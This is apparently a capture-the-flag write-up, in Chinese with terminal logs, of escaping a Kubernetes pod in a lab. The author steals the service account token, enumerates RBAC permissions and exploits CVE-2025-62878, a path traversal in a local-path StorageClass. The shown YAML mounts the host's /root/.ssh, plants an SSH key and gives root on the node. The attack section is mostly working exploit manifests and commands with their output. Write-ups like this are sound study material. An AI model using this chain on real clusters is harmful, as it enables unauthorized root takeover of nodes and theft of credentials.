

```
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# ls -al
/var/run/secrets/kubernetes.io/serviceaccount/
total 4
drwxrwxrwt 3 root root 140 Mar 11 20:43 .
drwxr-xr-x 3 root root 4096 Mar 11 20:43 ..
drwxr-xr-x 2 root root 100 Mar 11 20:43 ..2026_03_11_12_43_15.2797654814
lrwxrwxrwx 1 root root 32 Mar 11 20:43 ..data ->
..2026_03_11_12_43_15.2797654814
lrwxrwxrwx 1 root root 13 Mar 11 20:43 ca.crt -> ../data/ca.crt
lrwxrwxrwx 1 root root 16 Mar 11 20:43 namespace -> ../data/namespace
lrwxrwxrwx 1 root root 12 Mar 11 20:43 token -> ../data/token
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# cat
/var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsImtpZCI6IjlpQjBZTk1GR2JFYnBMa1JqZlRVcnBoT1M5ek1YQU82TTRSTFhOTDZX1UiOiJyeyJhdWQiOiJsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuY3ZjLnNsdxNOXSIubG9jYWw
iLCJrm3MiXSwiZXhwIjojODANzy40Tk1LCjpyXQiojeE3NzMymzi5OTUsIm1zcyl6ImhOdHBzoI8va3Vi
ZXJuZXRlcyc5kZWZhdWxOLnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcyc5pbYI6eyJuYW1lc3Bhy
2UioiJzaGlubmFpLWthbmt5b3UilCjwb2QiOnsiYmFtZSI6InNtYXJ0ZXJtYWwlslWFwcC04NDY5Y2JiOD
VklWZyeDJUiiwidWlkIjoimTYjhogM5YzctNmRmNS00ZTg4LTkxmzkty2FmyZizMjAxMDYwIn0sInNlcnc
py2Vhy2NvdW50Ijp7Im5hbWUioiJlcmEtbn21vdGutC2EilCjlawQioiJin2Jkzjzhns04MDBiLTQyZTAt
OWYZNyO4YTAWZTkzZE2MWUifswid2FybmfmdGvyIjoxnzcZmjM2NjAyfSwibmJmIjoxnzcZmjMyOTk1L
CjZzdWIoiJzeXN0ZW06c2VydmlljzwFjY291bnQ6c2hpbm5haS1ryW5rew91onvyYS1vbW90ZS1zYSJ9.m
QkaIi3n3xs7pbxeypDHuWD-fJPXMYwiIYPBu-
1Kdn_QUj890ofnlxtcfZ7BBfov09xdNR9baN_phRQyc7_A4D9ugv_-
cwzb4GmSGYJ4I3UZ8AXjoh8gggbZVE4rn1ej45N8yntfyIWawhEXYchuk821_sF__TRE8ZFhmUMyd2s7GG
RtxehLRiovfJENMD4MlmGM7nC1alGUZHsfuzY8iIbEBBVoeBJ4EnM2CE68m5ePyMpSc33rhSJKAZWkwg
MQi_8yoYORLW3Wzu2QckeolqqoJo7ggy1CBFSQZwqYq_aZLH2-luleffzweOGerChOPhiWjhkyS-
h9eMnyYF3vfQroot@smartermail-app-8469cbb85d-frx2n:/etc/smartermail#
```

```
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# TOKEN=$(cat
/var/run/secrets/kubernetes.io/serviceaccount/token)
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail#
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# NAMESPACE=$(cat
/var/run/secrets/kubernetes.io/serviceaccount/namespace)
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail#
APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_PORT_443_TCP_PORT}
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# curl -s --cacert $CACERT
-H "Authorization: Bearer $TOKEN" $APISERVER/version
{
  "major": "1",
  "minor": "25",
  "gitVersion": "v1.25.16+k3s4",
  "gitCommit": "ddda2476a26dbcd4faa7b440bb04a5636d3e8f75",
  "gitTreeState": "clean",
  "buildDate": "2023-12-07T11:25:21Z",
  "goVersion": "go1.20.10",
  "compiler": "gc",
  "platform": "linux/amd64"
```

```
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# curl -LO
"https://dl.k8s.io/release/$(curl -L -s
https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
```

```
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# ./kubectl --
server=$APISERVER --certificate-authority=$CACERT --token=$TOKEN auth can-i --
list
```

Resources		Non-Resource URLs
Resource Names	Verbs	
persistentvolumeclaims		[]
[]	[create]	
pods		[]
[]	[create]	
selfsubjectaccessreviews.authorization.k8s.io		[]
[]	[create]	
selfsubjectrulesreviews.authorization.k8s.io		[]
[]	[create]	
storageclasses.storage.k8s.io		[]
[]	[create]	
configuration]	[]	[get] [/.well-known/openid-
		[/api/*]
[]	[get]	[/api]
[]	[get]	[/apis/*]
[]	[get]	[/apis]
[]	[get]	[/healthz]
[]	[get]	[/healthz]
[]	[get]	[/livez]
[]	[get]	[/livez]
[]	[get]	[/openapi/*]
[]	[get]	[/openapi]
[]	[get]	[/openid/v1/jwks]
[]	[get]	[/readyz]
[]	[get]	[/readyz]
[]	[get]	[/version/]
[]	[get]	[/version/]
[]	[get]	

		[/version]
[]	[get]	
		[/version]
[]	[get]	
pods/log		[]
[]	[get]	

相较于上一个版本，pod只有create权限，没有了exec权限，直接挂载宿主机然后exec走不通了。

然后pvc和storageclass都有create的权限，根据提示 **Focus on the storage patterns** 可以很容易找到CVE-2025-62878，pathPattern可以目录穿越到宿主机的任意目录，把这个目录当作节点的持久存储卷

利用步骤

1.创建一个恶意的storageclass，修改他的pathPattern

2.使用这个storageclass创建一个PVC

3.挂载这个PVC到新创建的节点

不能执行命令只好写私钥

```

root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# cat <<EOF > fuck.yaml
> apiVersion: storage.k8s.io/v1
> kind: StorageClass
> metadata:
>   name: fuck0
> provisioner: rancher.io/local-path
> reclaimPolicy: Retain
> parameters:
>   pathPattern: "{{ .PVC.Namespace }}/{{ .PVC.Name
}}/../../../../../../../../root/.ssh"
> volumeBindingMode: WaitForFirstConsumer
>
> ---
> apiVersion: v1
> kind: PersistentVolumeClaim
> metadata:
>   name: fuckpvc0
> spec:
>   accessModes:
>     - ReadWriteOnce
>   storageClassName: fuck0
>   resources:
>     requests:
>       storage: 1Gi
>
> ---
> apiVersion: v1
> kind: Pod
> metadata:
>   name: fuckpod0
> spec:
>   containers:
>     - name: exfiltrate0
>       image: busybox
>       imagePullPolicy: IfNotPresent
>       command: ["/bin/sh", "-c"]

```

```

>     args:
>       - |
>         echo "ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIGQrTuSwvWD09nqfilXM7jo3Uew7b2yge3oiwjttjoi0t tao@kali" >
/host-root/authorized_keys
>       ls -al /host-root/
>     volumeMounts:
>       - name: host-mount0
>         mountPath: /host-root
>     volumes:
>       - name: host-mount0
>         persistentVolumeClaim:
>           claimName: fuckpvc0
> EOF
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# k create -f fuck.yaml
storageclass.storage.k8s.io/fuck0 created
persistentvolumeclaim/fuckpvc0 created
pod/fuckpod0 created
root@smartermail-app-8469cbb85d-frx2n:/etc/smartermail# curl -i -s --cacert
$CACERT -H "Authorization: Bearer $TOKEN" "$APISERVER/api/v1/namespaces/shinnai-
kankyou/pods/fuckpod0/log"
HTTP/2 200
audit-id: 483798f4-d1bf-4871-9bda-976786b3a91d
cache-control: no-cache, private
content-type: text/plain
date: Thu, 12 Mar 2026 02:02:05 GMT

total 16
drwx-----  2 root    root      4096 Mar 12 02:02 .
drwxr-xr-x   1 root    root      4096 Mar 12 02:02 ..
-rw-r--r--   1 root    root        90 Mar 12 02:02 authorized_keys

```

可以看到公钥被写了进去，然后私钥连即可。

```

tao@kali [~/ssh] → ssh -i id_ed25519 root@192.168.31.89
The authenticity of host '192.168.31.89 (192.168.31.89)' can't be established.
ED25519 key fingerprint is SHA256:WZX93fC9eudc7YNY2hd92r2cora7VK1L3GF7qR3ix9s.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.89' (ED25519) to the list of known hosts.
Linux osboxes 6.1.0-35-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.137-1 (2025-05-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Mar 7 02:59:14 2026 from 192.168.31.223
root@osboxes:~# ls
local-path-storage.yaml root.txt start1.sh start2.sh start3.sh start4.sh start5.sh strict-rbac.yaml
root@osboxes:~# cat root.txt
ifslbeonVnU7eHvVvN1KCQ8sLoNz0jxC
root@osboxes:~# id
uid=0(root) gid=0(root) groups=0(root)
root@osboxes:~#

```